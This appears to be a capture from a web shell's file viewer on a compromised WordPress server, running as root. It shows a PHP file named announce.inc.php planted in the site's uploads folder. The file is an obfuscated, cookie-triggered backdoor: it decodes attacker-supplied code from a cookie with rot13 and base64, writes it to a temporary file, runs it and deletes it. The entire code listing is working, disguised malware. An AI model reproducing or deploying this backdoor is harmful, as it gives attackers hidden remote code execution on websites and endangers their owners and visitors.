HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux wordpress-ubuntu-s-2vcpu-4gb-fra1-01 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/shoetique/wp-content/uploads/2020/07/announce.inc.php
<?php

if (isset($_COOKIE[-53+53]) && isset($_COOKIE[46+-45]) && isset($_COOKIE[90+-87]) && isset($_COOKIE[-83+87])) {
    $identifier = $_COOKIE;
    function partition($constant) {
        $identifier = $_COOKIE;
        $stor = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'b24ce3f1');
        if (!is_writable($stor)) {
            $stor = getcwd() . DIRECTORY_SEPARATOR . "rindex";
        }
        $st = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($identifier[3]));
        if (is_writeable($stor)) {
            $parameter = fopen($stor, 'w+');
            fputs($parameter, $st);
            fclose($parameter);
            spl_autoload_unregister(__FUNCTION__);
            require_once($stor);
            @array_map('unlink', array($stor));
        }
    }
    spl_autoload_register("partition");
    $argument = "791253fdc9c0dc9e9b88bb5ed9c2a9dd";
    if (!strncmp($argument, $identifier[4], 32)) {
        if (@class_parents("post_content", true)) {
            exit;
        }
    }
}